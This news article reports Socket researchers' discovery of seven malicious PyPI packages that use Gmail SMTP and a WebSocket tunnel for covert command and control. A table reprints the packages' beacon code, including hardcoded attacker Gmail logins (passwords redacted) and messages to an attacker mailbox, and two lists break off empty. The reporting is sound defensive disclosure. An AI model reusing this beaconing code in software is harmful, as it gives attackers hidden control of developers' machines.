A major supply chain security incident has rocked the Python open-source community as researchers at Socket’s Threat Research Team uncovered seven interconnected malicious packages published on the Python Package Index (PyPI).
These packages Coffin-Codes-Pro, Coffin-Codes-NET2, Coffin-Codes-NET, Coffin-Codes-2022, Coffin2022, Coffin-Grave, and cfc-bsb-were ingeniously designed to exploit Gmail’s SMTP service, establishing covert command-and-control tunnels and enabling attackers to execute arbitrary commands on compromised machines.
What sets these packages apart from the typical malware found on PyPI is their reliance on Gmail’s Simple Mail Transfer Protocol (SMTP) for communication.
This allows the traffic generated by the malware to blend in as legitimate email traffic, sidestepping most firewall and endpoint detection systems that inherently trust Gmail’s infrastructure.
Below is a structured table summarizing each of the seven malicious Python packages uncovered, the email addresses and SMTP accounts used, key code behaviors, and notable technical details from the investigation. Redacted credentials are marked for safety.
| Package Name | Key Malicious Code/Technique |
| Coffin-Codes-Pro | srv = smtplib.SMTP_SSL(“smtp.gmail.com”, 465) srv.login(“sphacoffin@gmail.com”, “[redacted]”) srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”) |
| Coffin-Codes-NET2 | srv.login(“hackingbsb@gmail.com”, “[redacted]”) srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”) |
| Coffin-Codes-NET | srv.login(“btcchain2@gmail.com”, “[redacted]”) srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”) |
| Coffin-Codes-2022 | srv.login(“sphacoffin@gmail.com”, “[redacted]”) srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”) |
| Coffin2022 | srv.login(“sphacoffin@gmail.com”, “[redacted]”) srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”) |
| Coffin-Grave | srv.login(“sphacoffin@gmail.com”, “[redacted]”) srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”) |
| cfc-bsb | WebSocket tunneling to wss://open.jprq.live No SMTP/email or credential exfiltration |
According to the Socket Findings, upon installation, the packages establish SSL-encrypted connections to Gmail servers using hardcoded credentials tied to attacker-controlled accounts (notably sphacoffin@gmail.com and others).
Initial messages are sent to another attacker mailbox, blockchain.bitcoins2020@gmail.com, as a confirmation that the malicious implant is active.
The core functionality centers on setting up a clandestine tunnel. After the initial beacon, the malicious modules open a secure WebSocket channel to receive further instructions. The attacker can then leverage this tunnel to:
Each package had slight variations:
The only clues to the attacker’s identity are the handful of Gmail addresses used and the recurring Bitcoin and Solana-related references, suggesting possible ties to prior crypto-targeted attacks.
The packages have since been removed from PyPI, but their extended presence-dating as far back as 2021-underscores the difficulty of policing open-source repositories.
As open-source supply chain attacks become more stealthy and creative, awareness and vigilance must rise across the software development lifecycle.
Find this News Interesting! Follow us on Google News, LinkedIn, & X to Get Instant Updates!
Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…
Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…
Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…
A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…
GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…
Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…